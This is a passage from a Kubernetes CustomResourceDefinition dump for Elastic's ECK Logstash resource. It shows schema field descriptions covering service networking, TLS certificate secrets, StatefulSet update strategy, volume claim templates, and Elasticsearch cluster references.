(NodePorts,\nExternalIPs, and LoadBalancer IPs). If set to \"Local\", the proxy will configure\nthe service in a way that assumes that external load balancers will take care\nof balancing the service traffic between nodes, and so each node will deliver\ntraffic only to the node-local endpoints of the service, without masquerading\nthe client source IP. (Traffic mistakenly sent to a node with no endpoints will\nbe dropped.) The default value, \"Cluster\", uses the standard behavior of\nrouting to all endpoints evenly (possibly modified by topology and other\nfeatures). Note that traffic sent to an External IP or LoadBalancer IP from\nwithin the cluster will always get \"Cluster\" semantics, but clients sending to\na NodePort from within the cluster may need to take traffic policy into account\nwhen picking a node.","type":"string"},"healthCheckNodePort":{"description":"healthCheckNodePort specifies the healthcheck nodePort for the service.\nThis only applies when type is set to LoadBalancer and\nexternalTrafficPolicy is set to Local. If a value is specified, is\nin-range, and is not in use, it will be used.  If not specified, a value\nwill be automatically allocated.  External systems (e.g. load-balancers)\ncan use this port to determine if a given node holds endpoints for this\nservice or not.  If this field is specified when creating a Service\nwhich does not need it, creation will fail. This field will be wiped\nwhen updating a Service to no longer need it (e.g. changing type).\nThis field cannot be updated once set.","format":"int32","type":"integer"},"internalTrafficPolicy":{"description":"InternalTrafficPolicy describes how nodes distribute service traffic they\nreceive on the ClusterIP. If set to \"Local\", the proxy will assume that pods\nonly want to talk to endpoints of the service on the same node as the pod,\ndropping the traffic if there are no local endpoints. The default value,\n\"Cluster\", uses the standard behavior of routing to all endpoints evenly\n(possibly modified by topology and other features).","type":"string"},"ipFamilies":{"description":"IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this\nservice. This field is usually assigned automatically based on cluster\nconfiguration and the ipFamilyPolicy field. If this field is specified\nmanually, the requested family is available in the cluster,\nand ipFamilyPolicy allows it, it will be used; otherwise creation of\nthe service will fail. This field is conditionally mutable: it allows\nfor adding or removing a secondary IP family, but it does not allow\nchanging the primary IP family of the Service. Valid values are \"IPv4\"\nand \"IPv6\".  This field only applies to Services of types ClusterIP,\nNodePort, and LoadBalancer, and does apply to \"headless\" services.\nThis field will be wiped when updating a Service to type ExternalName.\n\n\nThis field may hold a maximum of two entries (dual-stack families, in\neither order).  These families must correspond to the values of the\nclusterIPs field, if specified. Both clusterIPs and ipFamilies are\ngoverned by the ipFamilyPolicy field.","items":{"description":"IPFamily represents the IP Family (IPv4 or IPv6). This type is used\nto express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).","type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ipFamilyPolicy":{"description":"IPFamilyPolicy represents the dual-stack-ness requested or required by\nthis Service. If there is no value provided, then this field will be set\nto SingleStack. Services can be \"SingleStack\" (a single IP family),\n\"PreferDualStack\" (two IP families on dual-stack configured clusters or\na single IP family on single-stack clusters), or \"RequireDualStack\"\n(two IP families on dual-stack configured clusters, otherwise fail). The\nipFamilies and clusterIPs fields depend on the value of this field. This\nfield will be wiped when updating a service to type ExternalName.","type":"string"},"loadBalancerClass":{"description":"loadBalancerClass is the class of the load balancer implementation this Service belongs to.\nIf specified, the value of this field must be a label-style identifier, with an optional prefix,\ne.g. \"internal-vip\" or \"example.com/internal-vip\". Unprefixed names are reserved for end-users.\nThis field can only be set when the Service type is 'LoadBalancer'. If not set, the default load\nbalancer implementation is used, today this is typically done through the cloud provider integration,\nbut should apply for any default implementation. If set, it is assumed that a load balancer\nimplementation is watching for Services with a matching class. Any default load balancer\nimplementation (e.g. cloud providers) should ignore Services that set this field.\nThis field can only be set when creating or updating a Service to type 'LoadBalancer'.\nOnce set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.","type":"string"},"loadBalancerIP":{"description":"Only applies to Service Type: LoadBalancer.\nThis feature depends on whether the underlying cloud-provider supports specifying\nthe loadBalancerIP when a load balancer is created.\nThis field will be ignored if the cloud-provider does not support the feature.\nDeprecated: This field was under-specified and its meaning varies across implementations.\nUsing it is non-portable and it may not support dual-stack.\nUsers are encouraged to use implementation-specific annotations when available.","type":"string"},"loadBalancerSourceRanges":{"description":"If specified and supported by the platform, this will restrict traffic through the cloud-provider\nload-balancer will be restricted to the specified client IPs. This field will be ignored if the\ncloud-provider does not support the feature.\"\nMore info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"ports":{"description":"The list of ports that are exposed by this service.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","items":{"description":"ServicePort contains information on service's port.","properties":{"appProtocol":{"description":"The application protocol for this port.\nThis is used as a hint for implementations to offer richer behavior for protocols that they understand.\nThis field follows standard Kubernetes label syntax.\nValid values are either:\n\n\n* Un-prefixed protocol names - reserved for IANA standard service names (as per\nRFC-6335 and https://www.iana.org/assignments/service-names).\n\n\n* Kubernetes-defined prefixed names:\n  * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-\n  * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455\n  * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455\n\n\n* Other protocols should use implementation-defined prefixed names such as\nmycompany.com/my-custom-protocol.","type":"string"},"name":{"description":"The name of this port within the service. This must be a DNS_LABEL.\nAll ports within a ServiceSpec must have unique names. When considering\nthe endpoints for a Service, this must match the 'name' field in the\nEndpointPort.\nOptional if only one ServicePort is defined on this service.","type":"string"},"nodePort":{"description":"The port on each node on which this service is exposed when type is\nNodePort or LoadBalancer.  Usually assigned by the system. If a value is\nspecified, in-range, and not in use it will be used, otherwise the\noperation will fail.  If not specified, a port will be allocated if this\nService requires one.  If this field is specified when creating a\nService which does not need it, creation will fail. This field will be\nwiped when updating a Service to no longer need it (e.g. changing type\nfrom NodePort to ClusterIP).\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport","format":"int32","type":"integer"},"port":{"description":"The port that will be exposed by this service.","format":"int32","type":"integer"},"protocol":{"default":"TCP","description":"The IP protocol for this port. Supports \"TCP\", \"UDP\", and \"SCTP\".\nDefault is TCP.","type":"string"},"targetPort":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"Number or name of the port to access on the pods targeted by the service.\nNumber must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.\nIf this is a string, it will be looked up as a named port in the\ntarget Pod's container ports. If this is not specified, the value\nof the 'port' field is used (an identity map).\nThis field is ignored for services with clusterIP=None, and should be\nomitted or set equal to the 'port' field.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service","x-kubernetes-int-or-string":true}},"required":["port"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["port","protocol"],"x-kubernetes-list-type":"map"},"publishNotReadyAddresses":{"description":"publishNotReadyAddresses indicates that any agent which deals with endpoints for this\nService should disregard any indications of ready/not-ready.\nThe primary use case for setting this field is for a StatefulSet's Headless Service to\npropagate SRV DNS records for its Pods for the purpose of peer discovery.\nThe Kubernetes controllers that generate Endpoints and EndpointSlice resources for\nServices interpret this to mean that all endpoints are considered \"ready\" even if the\nPods themselves are not. Agents which consume only Kubernetes generated endpoints\nthrough the Endpoints or EndpointSlice resources can safely assume this behavior.","type":"boolean"},"selector":{"additionalProperties":{"type":"string"},"description":"Route service traffic to pods with label keys and values matching this\nselector. If empty or not present, the service is assumed to have an\nexternal process managing its endpoints, which Kubernetes will not\nmodify. Only applies to types ClusterIP, NodePort, and LoadBalancer.\nIgnored if type is ExternalName.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/","type":"object","x-kubernetes-map-type":"atomic"},"sessionAffinity":{"description":"Supports \"ClientIP\" and \"None\". Used to maintain session affinity.\nEnable client IP based session affinity.\nMust be ClientIP or None.\nDefaults to None.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies","type":"string"},"sessionAffinityConfig":{"description":"sessionAffinityConfig contains the configurations of session affinity.","properties":{"clientIP":{"description":"clientIP contains the configurations of Client IP based session affinity.","properties":{"timeoutSeconds":{"description":"timeoutSeconds specifies the seconds of ClientIP type session sticky time.\nThe value must be \u003e0 \u0026\u0026 \u003c=86400(for 1 day) if ServiceAffinity == \"ClientIP\".\nDefault value is 10800(for 3 hours).","format":"int32","type":"integer"}},"type":"object"}},"type":"object"},"trafficDistribution":{"description":"TrafficDistribution offers a way to express preferences for how traffic is\ndistributed to Service endpoints. Implementations can use this field as a\nhint, but are not required to guarantee strict adherence. If the field is\nnot set, the implementation will apply its default routing strategy. If set\nto \"PreferClose\", implementations should prioritize endpoints that are\ntopologically close (e.g., same zone).\nThis is an alpha field and requires enabling ServiceTrafficDistribution feature.","type":"string"},"type":{"description":"type determines how the Service is exposed. Defaults to ClusterIP. Valid\noptions are ExternalName, ClusterIP, NodePort, and LoadBalancer.\n\"ClusterIP\" allocates a cluster-internal IP address for load-balancing\nto endpoints. Endpoints are determined by the selector or if that is not\nspecified, by manual construction of an Endpoints object or\nEndpointSlice objects. If clusterIP is \"None\", no virtual IP is\nallocated and the endpoints are published as a set of endpoints rather\nthan a virtual IP.\n\"NodePort\" builds on ClusterIP and allocates a port on every node which\nroutes to the same endpoints as the clusterIP.\n\"LoadBalancer\" builds on NodePort and creates an external load-balancer\n(if supported in the current cloud) which routes to the same endpoints\nas the clusterIP.\n\"ExternalName\" aliases this service to the specified externalName.\nSeveral other fields do not apply to ExternalName services.\nMore info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types","type":"string"}},"type":"object"}},"type":"object"},"tls":{"description":"TLS defines options for configuring TLS for HTTP.","properties":{"certificate":{"description":"Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.\nThe referenced secret should contain the following:\n\n\n- `ca.crt`: The certificate authority (optional).\n- `tls.crt`: The certificate (or a chain).\n- `tls.key`: The private key to the first certificate in the certificate chain.","properties":{"secretName":{"description":"SecretName is the name of the secret.","type":"string"}},"type":"object"},"selfSignedCertificate":{"description":"SelfSignedCertificate allows configuring the self-signed certificate generated by the operator.","properties":{"disabled":{"description":"Disabled indicates that the provisioning of the self-signed certifcate should be disabled.","type":"boolean"},"subjectAltNames":{"description":"SubjectAlternativeNames is a list of SANs to include in the generated HTTP TLS certificate.","items":{"description":"SubjectAlternativeName represents a SAN entry in a x509 certificate.","properties":{"dns":{"description":"DNS is the DNS name of the subject.","type":"string"},"ip":{"description":"IP is the IP address of the subject.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"},"type":"array"},"updateStrategy":{"description":"UpdateStrategy is a StatefulSetUpdateStrategy. The default type is \"RollingUpdate\".","properties":{"rollingUpdate":{"description":"RollingUpdate is used to communicate parameters when Type is RollingUpdateStatefulSetStrategyType.","properties":{"maxUnavailable":{"anyOf":[{"type":"integer"},{"type":"string"}],"description":"The maximum number of pods that can be unavailable during the update.\nValue can be an absolute number (ex: 5) or a percentage of desired pods (ex: 10%).\nAbsolute number is calculated from percentage by rounding up. This can not be 0.\nDefaults to 1. This field is alpha-level and is only honored by servers that enable the\nMaxUnavailableStatefulSet feature. The field applies to all pods in the range 0 to\nReplicas-1. That means if there is any unavailable pod in the range 0 to Replicas-1, it\nwill be counted towards MaxUnavailable.","x-kubernetes-int-or-string":true},"partition":{"description":"Partition indicates the ordinal at which the StatefulSet should be partitioned\nfor updates. During a rolling update, all pods from ordinal Replicas-1 to\nPartition are updated. All pods from ordinal Partition-1 to 0 remain untouched.\nThis is helpful in being able to do a canary based deployment. The default value is 0.","format":"int32","type":"integer"}},"type":"object"},"type":{"description":"Type indicates the type of the StatefulSetUpdateStrategy.\nDefault is RollingUpdate.","type":"string"}},"type":"object"},"version":{"description":"Version of the Logstash.","type":"string"},"volumeClaimTemplates":{"description":"VolumeClaimTemplates is a list of persistent volume claims to be used by each Pod.\nEvery claim in this list must have a matching volumeMount in one of the containers defined in the PodTemplate.\nItems defined here take precedence over any default claims added by the operator with the same name.","items":{"description":"PersistentVolumeClaim is a user's request for and claim to a persistent volume","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"description":"Standard object's metadata.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata","properties":{"annotations":{"additionalProperties":{"type":"string"},"type":"object"},"finalizers":{"items":{"type":"string"},"type":"array"},"labels":{"additionalProperties":{"type":"string"},"type":"object"},"name":{"type":"string"},"namespace":{"type":"string"}},"type":"object"},"spec":{"description":"spec defines the desired characteristics of a volume requested by a pod author.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims","properties":{"accessModes":{"description":"accessModes contains the desired access modes the volume should have.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"dataSource":{"description":"dataSource field can be used to specify either:\n* An existing VolumeSnapshot object (snapshot.storage.k8s.io/VolumeSnapshot)\n* An existing PVC (PersistentVolumeClaim)\nIf the provisioner or an external controller can support the specified data source,\nit will create a new volume based on the contents of the specified data source.\nWhen the AnyVolumeDataSource feature gate is enabled, dataSource contents will be copied to dataSourceRef,\nand dataSourceRef contents will be copied to dataSource when dataSourceRef.namespace is not specified.\nIf the namespace is specified, then dataSourceRef will not be copied to dataSource.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"}},"required":["kind","name"],"type":"object","x-kubernetes-map-type":"atomic"},"dataSourceRef":{"description":"dataSourceRef specifies the object from which to populate the volume with data, if a non-empty\nvolume is desired. This may be any object from a non-empty API group (non\ncore object) or a PersistentVolumeClaim object.\nWhen this field is specified, volume binding will only succeed if the type of\nthe specified object matches some installed volume populator or dynamic\nprovisioner.\nThis field will replace the functionality of the dataSource field and as such\nif both fields are non-empty, they must have the same value. For backwards\ncompatibility, when namespace isn't specified in dataSourceRef,\nboth fields (dataSource and dataSourceRef) will be set to the same\nvalue automatically if one of them is empty and the other is non-empty.\nWhen namespace is specified in dataSourceRef,\ndataSource isn't set to the same value and must be empty.\nThere are three important differences between dataSource and dataSourceRef:\n* While dataSource only allows two specific types of objects, dataSourceRef\n  allows any non-core object, as well as PersistentVolumeClaim objects.\n* While dataSource ignores disallowed values (dropping them), dataSourceRef\n  preserves all values, and generates an error if a disallowed value is\n  specified.\n* While dataSource only allows local objects, dataSourceRef allows objects\n  in any namespaces.\n(Beta) Using this field requires the AnyVolumeDataSource feature gate to be enabled.\n(Alpha) Using the namespace field of dataSourceRef requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","properties":{"apiGroup":{"description":"APIGroup is the group for the resource being referenced.\nIf APIGroup is not specified, the specified Kind must be in the core API group.\nFor any other third-party types, APIGroup is required.","type":"string"},"kind":{"description":"Kind is the type of resource being referenced","type":"string"},"name":{"description":"Name is the name of resource being referenced","type":"string"},"namespace":{"description":"Namespace is the namespace of resource being referenced\nNote that when a namespace is specified, a gateway.networking.k8s.io/ReferenceGrant object is required in the referent namespace to allow that namespace's owner to accept the reference. See the ReferenceGrant documentation for details.\n(Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.","type":"string"}},"required":["kind","name"],"type":"object"},"resources":{"description":"resources represents the minimum resources the volume should have.\nIf RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements\nthat are lower than previous value but must still be higher than capacity recorded in the\nstatus field of the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources","properties":{"limits":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Limits describes the maximum amount of compute resources allowed.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"},"requests":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"Requests describes the minimum amount of compute resources required.\nIf Requests is omitted for a container, it defaults to Limits if that is explicitly specified,\notherwise to an implementation-defined value. Requests cannot exceed Limits.\nMore info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/","type":"object"}},"type":"object"},"selector":{"description":"selector is a label query over volumes to consider for binding.","properties":{"matchExpressions":{"description":"matchExpressions is a list of label selector requirements. The requirements are ANDed.","items":{"description":"A label selector requirement is a selector that contains values, a key, and an operator that\nrelates the key and values.","properties":{"key":{"description":"key is the label key that the selector applies to.","type":"string"},"operator":{"description":"operator represents a key's relationship to a set of values.\nValid operators are In, NotIn, Exists and DoesNotExist.","type":"string"},"values":{"description":"values is an array of string values. If the operator is In or NotIn,\nthe values array must be non-empty. If the operator is Exists or DoesNotExist,\nthe values array must be empty. This array is replaced during a strategic\nmerge patch.","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"}},"required":["key","operator"],"type":"object"},"type":"array","x-kubernetes-list-type":"atomic"},"matchLabels":{"additionalProperties":{"type":"string"},"description":"matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels\nmap is equivalent to an element of matchExpressions, whose key field is \"key\", the\noperator is \"In\", and the values array contains only \"value\". The requirements are ANDed.","type":"object"}},"type":"object","x-kubernetes-map-type":"atomic"},"storageClassName":{"description":"storageClassName is the name of the StorageClass required by the claim.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1","type":"string"},"volumeAttributesClassName":{"description":"volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.\nIf specified, the CSI driver will create or update the volume with the attributes defined\nin the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,\nit can be changed after the claim is created. An empty string value means that no VolumeAttributesClass\nwill be applied to the claim but it's not allowed to reset this field to empty string once it is set.\nIf unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass\nwill be set by the persistentvolume controller if it exists.\nIf the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be\nset to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource\nexists.\nMore info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/\n(Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.","type":"string"},"volumeMode":{"description":"volumeMode defines what type of volume is required by the claim.\nValue of Filesystem is implied when not included in claim spec.","type":"string"},"volumeName":{"description":"volumeName is the binding reference to the PersistentVolume backing this claim.","type":"string"}},"type":"object"},"status":{"description":"status represents the current information/status of a persistent volume claim.\nRead-only.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#persistentvolumeclaims","properties":{"accessModes":{"description":"accessModes contains the actual access modes the volume backing the PVC has.\nMore info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#access-modes-1","items":{"type":"string"},"type":"array","x-kubernetes-list-type":"atomic"},"allocatedResourceStatuses":{"additionalProperties":{"description":"When a controller receives persistentvolume claim update with ClaimResourceStatus for a resource\nthat it does not recognizes, then it should ignore that update and let other controllers\nhandle it.","type":"string"},"description":"allocatedResourceStatuses stores status of resource being resized for the given PVC.\nKey names follow standard Kubernetes label syntax. Valid values are either:\n\t* Un-prefixed keys:\n\t\t- storage - the capacity of the volume.\n\t* Custom resources must use implementation-defined prefixed names such as \"example.com/my-custom-resource\"\nApart from above values - keys that are unprefixed or have kubernetes.io prefix are considered\nreserved and hence may not be used.\n\n\nClaimResourceStatus can be in any of following states:\n\t- ControllerResizeInProgress:\n\t\tState set when resize controller starts resizing the volume in control-plane.\n\t- ControllerResizeFailed:\n\t\tState set when resize has failed in resize controller with a terminal error.\n\t- NodeResizePending:\n\t\tState set when resize controller has finished resizing the volume but further resizing of\n\t\tvolume is needed on the node.\n\t- NodeResizeInProgress:\n\t\tState set when kubelet starts resizing the volume.\n\t- NodeResizeFailed:\n\t\tState set when resizing has failed in kubelet with a terminal error. Transient errors don't set\n\t\tNodeResizeFailed.\nFor example: if expanding a PVC for more capacity - this field can be one of the following states:\n\t- pvc.status.allocatedResourceStatus['storage'] = \"ControllerResizeInProgress\"\n     - pvc.status.allocatedResourceStatus['storage'] = \"ControllerResizeFailed\"\n     - pvc.status.allocatedResourceStatus['storage'] = \"NodeResizePending\"\n     - pvc.status.allocatedResourceStatus['storage'] = \"NodeResizeInProgress\"\n     - pvc.status.allocatedResourceStatus['storage'] = \"NodeResizeFailed\"\nWhen this field is not set, it means that no resize operation is in progress for the given PVC.\n\n\nA controller that receives PVC update with previously unknown resourceName or ClaimResourceStatus\nshould ignore the update for the purpose it was designed. For example - a controller that\nonly is responsible for resizing capacity of the volume, should ignore PVC updates that change other valid\nresources associated with PVC.\n\n\nThis is an alpha field and requires enabling RecoverVolumeExpansionFailure feature.","type":"object","x-kubernetes-map-type":"granular"},"allocatedResources":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"allocatedResources tracks the resources allocated to a PVC including its capacity.\nKey names follow standard Kubernetes label syntax. Valid values are either:\n\t* Un-prefixed keys:\n\t\t- storage - the capacity of the volume.\n\t* Custom resources must use implementation-defined prefixed names such as \"example.com/my-custom-resource\"\nApart from above values - keys that are unprefixed or have kubernetes.io prefix are considered\nreserved and hence may not be used.\n\n\nCapacity reported here may be larger than the actual capacity when a volume expansion operation\nis requested.\nFor storage quota, the larger value from allocatedResources and PVC.spec.resources is used.\nIf allocatedResources is not set, PVC.spec.resources alone is used for quota calculation.\nIf a volume expansion capacity request is lowered, allocatedResources is only\nlowered if there are no expansion operations in progress and if the actual volume capacity\nis equal or lower than the requested capacity.\n\n\nA controller that receives PVC update with previously unknown resourceName\nshould ignore the update for the purpose it was designed. For example - a controller that\nonly is responsible for resizing capacity of the volume, should ignore PVC updates that change other valid\nresources associated with PVC.\n\n\nThis is an alpha field and requires enabling RecoverVolumeExpansionFailure feature.","type":"object"},"capacity":{"additionalProperties":{"anyOf":[{"type":"integer"},{"type":"string"}],"pattern":"^(\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\\+|-)?(([0-9]+(\\.[0-9]*)?)|(\\.[0-9]+))))?$","x-kubernetes-int-or-string":true},"description":"capacity represents the actual resources of the underlying volume.","type":"object"},"conditions":{"description":"conditions is the current Condition of persistent volume claim. If underlying persistent volume is being\nresized then the Condition will be set to 'Resizing'.","items":{"description":"PersistentVolumeClaimCondition contains details about state of pvc","properties":{"lastProbeTime":{"description":"lastProbeTime is the time we probed the condition.","format":"date-time","type":"string"},"lastTransitionTime":{"description":"lastTransitionTime is the time the condition transitioned from one status to another.","format":"date-time","type":"string"},"message":{"description":"message is the human-readable message indicating details about last transition.","type":"string"},"reason":{"description":"reason is a unique, this should be a short, machine understandable string that gives the reason\nfor condition's last transition. If it reports \"Resizing\" that means the underlying\npersistent volume is being resized.","type":"string"},"status":{"type":"string"},"type":{"description":"PersistentVolumeClaimConditionType is a valid value of PersistentVolumeClaimCondition.Type","type":"string"}},"required":["status","type"],"type":"object"},"type":"array","x-kubernetes-list-map-keys":["type"],"x-kubernetes-list-type":"map"},"currentVolumeAttributesClassName":{"description":"currentVolumeAttributesClassName is the current name of the VolumeAttributesClass the PVC is using.\nWhen unset, there is no VolumeAttributeClass applied to this PersistentVolumeClaim\nThis is an alpha field and requires enabling VolumeAttributesClass feature.","type":"string"},"modifyVolumeStatus":{"description":"ModifyVolumeStatus represents the status object of ControllerModifyVolume operation.\nWhen this is unset, there is no ModifyVolume operation being attempted.\nThis is an alpha field and requires enabling VolumeAttributesClass feature.","properties":{"status":{"description":"status is the status of the ControllerModifyVolume operation. It can be in any of following states:\n - Pending\n   Pending indicates that the PersistentVolumeClaim cannot be modified due to unmet requirements, such as\n   the specified VolumeAttributesClass not existing.\n - InProgress\n   InProgress indicates that the volume is being modified.\n - Infeasible\n  Infeasible indicates that the request has been rejected as invalid by the CSI driver. To\n\t  resolve the error, a valid VolumeAttributesClass needs to be specified.\nNote: New statuses can be added in the future. Consumers should check for unknown statuses and fail appropriately.","type":"string"},"targetVolumeAttributesClassName":{"description":"targetVolumeAttributesClassName is the name of the VolumeAttributesClass the PVC currently being reconciled","type":"string"}},"required":["status"],"type":"object"},"phase":{"description":"phase represents the current phase of PersistentVolumeClaim.","type":"string"}},"type":"object"}},"type":"object"},"type":"array"}},"required":["version"],"type":"object"},"status":{"description":"LogstashStatus defines the observed state of Logstash","properties":{"availableNodes":{"format":"int32","type":"integer"},"elasticsearchAssociationsStatus":{"additionalProperties":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"description":"ElasticsearchAssociationStatus is the status of any auto-linking to Elasticsearch clusters.","type":"object"},"expectedNodes":{"format":"int32","type":"integer"},"health":{"type":"string"},"monitoringAssociationStatus":{"additionalProperties":{"description":"AssociationStatus is the status of an association resource.","type":"string"},"description":"MonitoringAssociationStatus is the status of any auto-linking to monitoring Elasticsearch clusters.","type":"object"},"observedGeneration":{"description":"ObservedGeneration is the most recent generation observed for this Logstash instance.\nIt corresponds to the metadata generation, which is updated on mutation by the API Server.\nIf the generation observed in status diverges from the generation in metadata, the Logstash\ncontroller has not yet processed the changes contained in the Logstash specification.","format":"int64","type":"integer"},"selector":{"type":"string"},"version":{"description":"Version of the stack resource currently running. During version upgrades, multiple versions may run\nin parallel: this value specifies the lowest version currently running.","type":"string"}},"required":["selector"],"type":"object"}},"type":"object"}},"served":true,"storage":true,"subresources":{"scale":{"labelSelectorPath":".status.selector","specReplicasPath":".spec.count","statusReplicasPath":".status.expectedNodes"},"status":{}}}]}}
    creationTimestamp: "2025-09-23T11:56:04Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: elastic-operator
      app.kubernetes.io/name: eck-operator-crds
      app.kubernetes.io/version: 2.14.0
    name: logstashes.logstash.k8s.elastic.co
    resourceVersion: "432375"
    uid: 1721f3b2-8805-45b0-97ca-3b69a8f0a276
  spec:
    conversion:
      strategy: None
    group: logstash.k8s.elastic.co
    names:
      categories:
      - elastic
      kind: Logstash
      listKind: LogstashList
      plural: logstashes
      shortNames:
      - ls
      singular: logstash
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - description: Health
        jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: available
        type: integer
      - description: Expected nodes
        jsonPath: .status.expectedNodes
        name: expected
        type: integer
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      - description: Logstash version
        jsonPath: .status.version
        name: version
        type: string
      name: v1alpha1
      schema:
        openAPIV3Schema:
          description: Logstash is the Schema for the logstashes API
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: LogstashSpec defines the desired state of Logstash
              properties:
                config:
                  description: Config holds the Logstash configuration. At most one
                    of [`Config`, `ConfigRef`] can be specified.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                configRef:
                  description: |-
                    ConfigRef contains a reference to an existing Kubernetes Secret holding the Logstash configuration.
                    Logstash settings must be specified as yaml, under a single "logstash.yml" entry. At most one of [`Config`, `ConfigRef`]
                    can be specified.
                  properties:
                    secretName:
                      description: SecretName is the name of the secret.
                      type: string
                  type: object
                count:
                  format: int32
                  type: integer
                elasticsearchRefs:
                  description: ElasticsearchRefs are references to Elasticsearch clusters
                    running in the same Kubernetes cluster.
                  items:
                    description: ElasticsearchCluster is a named reference to an Elasticsearch
                      cluster which can be used in a Logstash pipeline.
                    properties:
                      clusterName:
                        description: |-
                          ClusterName is an alias for the cluster to be used to refer to the Elasticsearch cluster in Logstash
                          configuration files, and will be used to identify "named clusters" in Logstash
                        minLength: 1
                        type: string
                      name:
                        description: Name of an existing Kubernetes object corresponding
                          to an Elastic resource managed by ECK.
                        type: string
                      namespace:
                        description: Namespace of the Kubernetes object. If empty,
                          defaults to the current namespace.
                        type: string
                      secretName:
                        description: |-
                          SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                          Elastic resource not managed by the operator. The referenced secret must contain the following:
                          - `url`: the URL to reach the Elastic resource
                          - `username`: the username of the user to be authenticated to the Elastic resource
                          - `password`: the password of the user to be authenticated to the Elastic resource
